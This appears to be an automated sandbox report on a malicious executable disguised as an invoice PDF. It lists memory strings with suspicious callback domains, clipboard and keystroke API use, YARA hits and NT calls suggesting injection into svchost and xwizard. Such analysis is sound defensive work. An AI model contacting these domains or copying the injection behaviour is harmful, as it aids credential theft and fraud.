a0 7f 8d 4d e0 4e f3 bd 92 02 96 ad 96 d5 48 5f 37 a5 26 03 ab 84 86 92
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 63 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 5b 73 e3 46 b2 30 f8 ee 5f 41 f1 84 d5 a4 1b 84 70 e7 ad d1 1a 8f a7 7d ec 38 33 b6 63 da 67 26 36 34 0a 05 44 82 22 dc 20 c0 03 80 52 cb 12 4f 6c ec c3 fe 8f 7d dc b7 f3 b0 5f c4 ee c3 be ec 2f 98 ef 1f 6d 66 15 ee 37 16 08 52 ea ee 23 d9 4d 82 40 55 66 65 56 56 56 66 56 55 e2 cd c9 dc 9d 05 f7 6b b3 b3 0c 56 f6 db 37 f8 d9 b1 0d e7 46 ef 7a 9b 6e 67 66 1b be af 77 2d ff ca 98 1b eb c0 ba 35 bb 9d b9 11 18 83 b5 e1 98 f6 60 e3 d9 7a 77 19 04 6b 7f 72 76 e6 9b de ad e9 29 2a bf 74 fd c0 72 6e 78 cf 84 7f 9b b3 95 e1 18 37 a6 d7 05 e0 a6 31 7f fb 66 65 06 46 67 b6 34 3c df 0c f4 ee bf ff fa fd 60 d4 0d ef 3a c6 ca d4 bb b7 96 79 b7 76 bd 00 d0 bb 4e 60 3a 50 ea ce 9a 07 4b 7d 6e de 5a 33 73 40 7e 70 96 63 05 96 61 0f fc 99 61 9b ba 98 05 e1 b9 d7 6e e0 a7 00 38 ae e5 cc cd 8f 50 2a b0 02 db 7c fb cf ff e3 7f fe 6f ff f3 7f fd e7 7f fd f3 ff fd e7 ff fd 3f ff f7 7f fe 57 07 2e fe c7 a9 73 ed af a7 70 f5 5f ff fc 7f fe f9 7f fd f3 7f e0 d5 9b 33 5a e1 8d 1f dc db 66 67 65 ce 2d 43 ef 1a b6 dd 7d 7b f6 cd c9 37 9f fb df c9 37 ff f8 aa d3 41 3a 3a 33 df ef f0 67 8e 3b 37 af 56 ee 7c 63 9b fe 19 dc 1a d8 ae 31 37 bd 33 c2 3e fe 37 ff fc 7c 66 bb 8e 39 ff 2b 14 78 6f 06 03 8d df f8 e6 85 78 79 92 ab ba 06 21 48 55 f7 bd 59 0c 22 5f 14 fe c5 e5 e6 96 1f 9c cd 7e f3 69 b1 6b 73 75 76 6d bb b3 0f 3e 1f c9 df d9 35 c8 de 4d f4 c5 63 dd 0e d2 01 54 fc e3 b9 99 d9 fa ef ec 2b 9e d2 f5 00 7c 58 db c6 fd 64 61 9b 1f a7 f8 31 98 5b 9e 39 0b 2c d7 99 cc 5c 7b b3 72 a6 64 18 4c 44 41 f8 7a ba b2 1c 3a 2a 26 b2 24 ac 3f 4e 97 a6 75 b3 0c e8 b3 b5 31 9f c3 68 9c a8 c3 f5 c7 8e d0 11 a6 2b c3 bb b1 9c 89 30 05 38 ae 37 f9 17 59 53 e0 ff e9 02 86 ca 44 94 a0 d0 8f 30 66 3c ee 5b 0f 46 17 f7 83 69 df 9a 81 35 33 3a 3f 99 1b 33 f9 c9 7d ef 99 e6 7b c3 f1 39 1f 3e 06 30 f6 ad c5 f4 da 98 7d b8 f1 dc 8d 33 9f fc cb 62 b1 98 0e ee cc eb 0f 56 30 08 8c f5 60 09 2d b2 b1 55 03 8a 36 f0 a0 de da f0 60 74 6e 51 e9 4c 1c 37 e8 f1 29 45 d3 ef 44 bc 70 41 ad 2c 6c f7 6e f0 71 b2 b4 e6 73 d3 d9 fe 81 0c c3 4e 2f a1 5b 14 24 65 fd b1 ff 90 86 50 03 60 1b 3e ba 42 d5 77 05 cd f8 00 2c 7a 40 70 09 eb 6e 97 d9 52 a6 e7 b9 1e 05 18 f1 54 d8 d1 f4 ab 95 e9 6c 06 58 18 3b 0e 9e cf cd 39 d7 bc ca c0 98 61 99 08 ed 20 70 d7 80 ba 19 13 ca e0 e6 00 6e 1b 36 41 44 59 3b 40 33 ca c9 db 25 15 99 d2 a9 11 30 1e 6b d0 aa 1d 4c 86 27 d6 e2 7e 70 ed b9 77 20 ba 57 b7 96 6f 5d db 59 98 aa d2 98 b8 1d 6d 2a e5 07 6b 4b 92 ce 71 af 2d db 1c 44 32 7d 45 25 9a 8b 1e fb 9b 6b 64 f1 95 bb 36 41 4b c7 a2 1f 09 fe 0e be 5c 2d 5c 17 06 ff 60 ee de 39 3b 05 b5 bc 21 3b 6a 55 b5 2f 24 bc a9 38 ed 02 d7 58 3c 4b 89 2a 81 cb 5b 49 b7 47 ca 9a 4c 55 db 32 5e 3e a0 0a 9f 88 a0 7f 8d 4d e0 4e f3 bd 92 02 96 ad 96 d5 48 5f 37 a5 26 03 ab 84 86 92

Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.00000000053F8000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000006888000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://premium303max.rest/p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4507703675.0000000006522000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.locuramagica.online
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4507703675.0000000006522000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.locuramagica.online/rls3/
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004F42000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.00000000063D2000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://error.kangleweb.net/?code=404&vh=594445
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://help.hover.com/home?source=parked
Source: xwizard.exe, 00000005.00000002.4501845196.0000000003233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/o
Source: xwizard.exe, 00000005.00000003.2528778267.000000000325F000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.0000000003233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: xwizard.exe, 00000005.00000003.2528778267.000000000325F000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.0000000003233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: xwizard.exe, 00000005.00000003.2528778267.000000000325F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: xwizard.exe, 00000005.00000002.4501845196.0000000003233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: xwizard.exe, 00000005.00000002.4501845196.0000000003233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: xwizard.exe, 00000005.00000002.4501845196.0000000003233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: xwizard.exe, 00000005.00000003.2527902409.000000000813B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://twitter.com/hover
Source: xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/about?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/domain_pricing?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/domains/results
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/email?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/privacy?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/renew?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/tools?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/tos?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hover.com/transfer_in?source=parked
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/hover_domains

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4507703675.0000000006490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4501630605.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502701769.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353981080.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502765838.0000000004CB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353173694.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4503127560.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2354040519.0000000004800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample	Static PE information: Filename: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe
Source: initial sample	Static PE information: Filename: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042CBA3 NtClose,	2_2_0042CBA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772B60 NtClose,LdrInitializeThunk,	2_2_03772B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03772DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037735C0 NtCreateMutant,LdrInitializeThunk,	2_2_037735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03774340 NtSetContextThread,	2_2_03774340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03774650 NtSuspendThread,	2_2_03774650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BF0 NtAllocateVirtualMemory,	2_2_03772BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BE0 NtQueryValueKey,	2_2_03772BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BA0 NtEnumerateValueKey,	2_2_03772BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772B80 NtQueryInformationFile,	2_2_03772B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AF0 NtWriteFile,	2_2_03772AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AD0 NtReadFile,	2_2_03772AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AB0 NtWaitForSingleObject,	2_2_03772AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F60 NtCreateProcessEx,	2_2_03772F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F30 NtCreateSection,	2_2_03772F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FE0 NtCreateFile,	2_2_03772FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FB0 NtResumeThread,	2_2_03772FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FA0 NtQuerySection,	2_2_03772FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F90 NtProtectVirtualMemory,	2_2_03772F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772E30 NtWriteVirtualMemory,	2_2_03772E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772EE0 NtQueueApcThread,	2_2_03772EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772EA0 NtAdjustPrivilegesToken,	2_2_03772EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772E80 NtReadVirtualMemory,	2_2_03772E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D30 NtUnmapViewOfSection,	2_2_03772D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D10 NtMapViewOfSection,	2_2_03772D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D00 NtSetInformationFile,	2_2_03772D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DD0 NtDelayExecution,	2_2_03772DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DB0 NtEnumerateKey,	2_2_03772DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C70 NtFreeVirtualMemory,	2_2_03772C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C60 NtCreateKey,	2_2_03772C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C00 NtQueryInformationProcess,	2_2_03772C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CF0 NtOpenProcess,	2_2_03772CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CC0 NtQueryVirtualMemory,	2_2_03772CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CA0 NtQueryInformationToken,	2_2_03772CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773010 NtOpenDirectoryObject,	2_2_03773010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773090 NtSetValueKey,	2_2_03773090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037739B0 NtGetContextThread,	2_2_037739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773D70 NtOpenThread,	2_2_03773D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773D10 NtOpenProcessToken,	2_2_03773D10
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F34650 NtSuspendThread,LdrInitializeThunk,	5_2_04F34650
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F34340 NtSetContextThread,LdrInitializeThunk,	5_2_04F34340
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_04F32CA0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_04F32C70
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32C60 NtCreateKey,LdrInitializeThunk,	5_2_04F32C60
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_04F32DF0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32DD0 NtDelayExecution,LdrInitializeThunk,	5_2_04F32DD0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_04F32D30
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_04F32D10
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_04F32EE0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_04F32E80
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32FE0 NtCreateFile,LdrInitializeThunk,	5_2_04F32FE0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32FB0 NtResumeThread,LdrInitializeThunk,	5_2_04F32FB0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32F30 NtCreateSection,LdrInitializeThunk,	5_2_04F32F30
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32AF0 NtWriteFile,LdrInitializeThunk,	5_2_04F32AF0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32AD0 NtReadFile,LdrInitializeThunk,	5_2_04F32AD0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_04F32BF0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_04F32BE0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_04F32BA0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32B60 NtClose,LdrInitializeThunk,	5_2_04F32B60
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F335C0 NtCreateMutant,LdrInitializeThunk,	5_2_04F335C0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F339B0 NtGetContextThread,LdrInitializeThunk,	5_2_04F339B0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32CF0 NtOpenProcess,	5_2_04F32CF0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32CC0 NtQueryVirtualMemory,	5_2_04F32CC0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32C00 NtQueryInformationProcess,	5_2_04F32C00
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32DB0 NtEnumerateKey,	5_2_04F32DB0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32D00 NtSetInformationFile,	5_2_04F32D00
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32EA0 NtAdjustPrivilegesToken,	5_2_04F32EA0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32E30 NtWriteVirtualMemory,	5_2_04F32E30
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32FA0 NtQuerySection,	5_2_04F32FA0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32F90 NtProtectVirtualMemory,	5_2_04F32F90
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32F60 NtCreateProcessEx,	5_2_04F32F60
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32AB0 NtWaitForSingleObject,	5_2_04F32AB0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F32B80 NtQueryInformationFile,	5_2_04F32B80
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F33090 NtSetValueKey,	5_2_04F33090
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F33010 NtOpenDirectoryObject,	5_2_04F33010
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F33D70 NtOpenThread,	5_2_04F33D70
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04F33D10 NtOpenProcessToken,	5_2_04F33D10
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_030292D0 NtCreateFile,	5_2_030292D0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_03029720 NtAllocateVirtualMemory,	5_2_03029720
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_03029520 NtDeleteFile,	5_2_03029520
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_030295C0 NtClose,	5_2_030295C0
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_03029430 NtReadFile,	5_2_03029430
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_04DBF0A1 NtQueryInformationProcess,	5_2_04DBF0A1

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00412038	0_2_00412038
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00427161	0_2_00427161
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0047E1FA	0_2_0047E1FA
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004212BE	0_2_004212BE
